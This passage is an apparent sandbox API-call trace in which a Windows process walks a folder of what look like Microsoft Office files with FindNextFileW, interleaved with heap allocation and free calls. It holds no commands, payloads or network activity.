(HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.034] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x5f3e3510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x197378, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHMAIN.DLL", cAlternateFileName="")) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.034] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x51741df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x223998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHSAPIFE.DLL", cAlternateFileName="")) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.034] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b828500, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b828500, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x10d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0075.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.035] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xc380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAutogen.dll", cAlternateFileName="")) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.035] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x9b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClient.Msg.dll", cAlternateFileName="")) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.036] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1067d600, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1067d600, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x6886, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClientManifest.man", cAlternateFileName="")) returned 1 [0075.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0075.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25630) returned 1 [0075.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7f1e8 [0075.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa40d0 [0075.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.036] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd44f00, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd44f00, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x8d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSEvents.man", cAlternateFileName="")) returned 1 [0075.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7f208 [0075.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa750a0 [0075.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.037] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6a8100, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c6a8100, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="")) returned 1 [0075.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.037] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4052c000, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4052c000, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x21980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSProxy.dll", cAlternateFileName="")) returned 1 [0075.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.038] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x95d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntime.dll", cAlternateFileName="")) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.038] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a3aeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeUI.dll", cAlternateFileName="")) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.038] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x28f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSStr32.dll", cAlternateFileName="")) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.039] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x5812f0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x1b780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSSync.exe", cAlternateFileName="")) returned 1 [0075.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.039] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x65ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadata.xsd", cAlternateFileName="")) returned 1 [0075.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7f228 [0075.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75128 [0075.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x3321, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadataresource.xsd", cAlternateFileName="")) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="")) returned 1 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf8844c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xe7380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500f7b00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd83c4bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x500f7b00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x81d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDLMSO.DLL", cAlternateFileName="")) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x7b09, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.HLP", cAlternateFileName="")) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44f4800, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44f4800, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xdcc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CharSetTable.chr", cAlternateFileName="")) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22bf4c00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf0edea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22bf4c00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x41f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2149b700, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24d9e80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2149b700, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb0578, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAX20.DLL", cAlternateFileName="")) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x37160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1 [0075.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.040] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24fffe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xcf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="CODEEDIT.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x2cb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6471c400, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6471c400, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x36580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPicker.dll", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, 